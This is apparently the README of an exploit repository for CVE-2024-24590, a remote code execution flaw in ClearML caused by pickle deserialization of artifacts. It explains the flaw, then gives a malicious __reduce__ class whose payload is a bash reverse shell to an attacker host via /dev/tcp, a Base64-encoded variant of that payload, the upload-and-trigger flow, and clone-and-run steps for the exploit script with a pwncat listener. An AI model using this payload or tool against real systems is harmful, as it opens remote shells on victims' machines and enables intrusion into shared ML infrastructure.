rippsec/cve-2024-24590-clearml-rce-exploitCVE-2024-24590 – ClearML RCE via unsafe pickle artifact deserialization (0.17.0–1.14.2)
| Field | Details |
|---|
| CVE | CVE-2024-24590 |
| Software | ClearML |
| Affected Versions | 0.17.0 – 1.14.2 |
| Vulnerability | Unsafe pickle deserialization of task artifacts |
| Authentication | Requires write access to a ClearML project |
| Impact | Remote Code Execution on any machine that loads the artifact |
| Tested on | Ubuntu 22.04, Python 3.9+ |
ClearML is an MLOps platform used to track experiments, manage datasets, and share artifacts (models, files, objects) between team members. When a task artifact is uploaded as a Python object, ClearML serializes it using Python's pickle module. When another user downloads and loads that artifact, ClearML deserializes it — also with pickle — without any integrity verification or class allowlisting.
An attacker with write access to a shared ClearML project can upload a malicious artifact containing an overridden __reduce__ method. Any team member or automated pipeline that fetches and loads that artifact will execute the attacker's payload during deserialization, achieving RCE on their machine.
Python's pickle module is fundamentally unsafe for untrusted input. The __reduce__ magic method on a class controls how it is reconstructed during deserialization — it can return any callable and arguments, including os.system:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
When pickled and later unpickled, Python calls os.system(cmd) as part of object reconstruction — before the caller has any chance to inspect the object.
Attacker (project write access)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
ClearML server stores artifact as a pickled binary blob
│
▼
Victim fetches artifact (automated pipeline / manual review)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
│
▼
Reverse shell connects back to attacker
The reverse shell command is Base64-encoded before embedding to avoid shell quoting issues in the serialized string:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
Requirements: clearml, pwntools, colorama
python3 exploit.py
The interactive menu walks through two steps:
Step 1 — Initialize ClearML (option 1)
Runs clearml-init to configure credentials for the target ClearML server. Backs up any existing ~/clearml.conf first.
Step 2 — Run exploit (option 2)
Prompts for:
Optionally starts a pwncat listener automatically before uploading the artifact.
